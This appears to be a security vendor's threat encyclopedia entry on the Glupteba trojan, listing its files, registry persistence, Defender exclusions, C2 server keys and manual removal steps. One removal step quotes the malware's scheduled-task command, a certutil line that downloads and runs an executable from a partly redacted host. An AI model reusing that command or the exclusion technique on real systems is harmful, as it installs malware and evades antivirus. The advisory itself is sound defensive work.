- Threat Encyclopedia
- Malware
- TROJ_GLUPTEBA.TIFODAJ
Windows
Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It connects to certain websites to send and receive information.
3,171,328 bytes
EXE
Yes
28 Jun 2018
Connects to URLs/IPs, Drops files
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following component file(s):
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It drops the following copies of itself into the affected system:
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It creates the following folders:
(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It adds the following mutexes to ensure that only one of its copies runs at any one time:
It terminates the execution of the copy it initially executed and executes the copy it drops instead.
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{random name} = %Windows%\rss\csrss.exe
Other System Modifications
This Trojan adds the following registry keys:
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
It adds the following registry entries:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
DisplayName = Winmon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
ErrorControl = 0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
Type = 1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon\Security
Security = {hex values}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
DependOnService = FltMgr
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
DisplayName = WinmonFS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
ErrorControl = 0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Group = FSFilter Activity Monitor
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
ImagePath = \??\%System%\drivers\WinmonFS.sys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Type = 2
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances
DefaultInstance = WinmonFS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS
Altitude = 370000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS
Flags = 0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Security
Security = {hex values}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
ImagePath = \??\%System%\drivers\Winmon.sys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
DisplayName = WinmonProcessMonitor
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
ErrorControl = 0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
ImagePath = \??\{hex values}\drivers\WinmonProcessMonitor.sys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
Start = 1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
Type = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows% = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\rss = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\EpicNet Inc\CloudNet = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\csrss = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\PatientVoice = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\windefender.exe = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\wup = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%System%\drivers = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
csrss.exe = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
cloudnet.exe = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
windefender.exe = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
{malware filename} = 0
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Name = {random}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Defender = {string}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Servers = https://{BLOCKED}mmute.com, https://{BLOCKED}acon.com
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
UUID = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Command = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
FirstInstallDate = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CloudnetSource = {string}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServiceVersion = {string}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
SC = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = {value]
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
VC = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSCaption = {Operating System of affected machine}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSArchitecture = {32 or 64}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
IsAdmin = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
AV = {strings}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PatchTime = {value}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CPU = {CPU details of affected machine}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
GPU = {GPU details of affected machine}
HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Firewall = {string}
Download Routine
This Trojan connects to the following URL(s) to download its component file(s):
It saves the files it downloads using the following names:
(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Other Details
This Trojan connects to the following website to send and receive information:
It does the following:
It adds the following scheduled tasks:
NOTES:
The value {DOMAIN} can be one of the following below:
{BLOCKED}mmute.{BLOCKED}
{BLOCKED}acon.{BLOCKED}
9.850
14.346.05
28 Jun 2018
14.347.00
29 Jun 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
Step 6
Restore these modified registry values
Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.
Step 7
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
Task to be run: %Windows%\rss\csrss.exe
Task to be run: cmd.exe /C certutil.exe -urlcache -split -f http://{BLOCKED}mmer.com/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340
For Windows 2000, Windows XP, and Windows Server 2003:
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
Step 8
Search and delete this file
Step 9
Search and delete these folders
Step 10
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_GLUPTEBA.TIFODAJ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 11
Download and apply this security patch Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.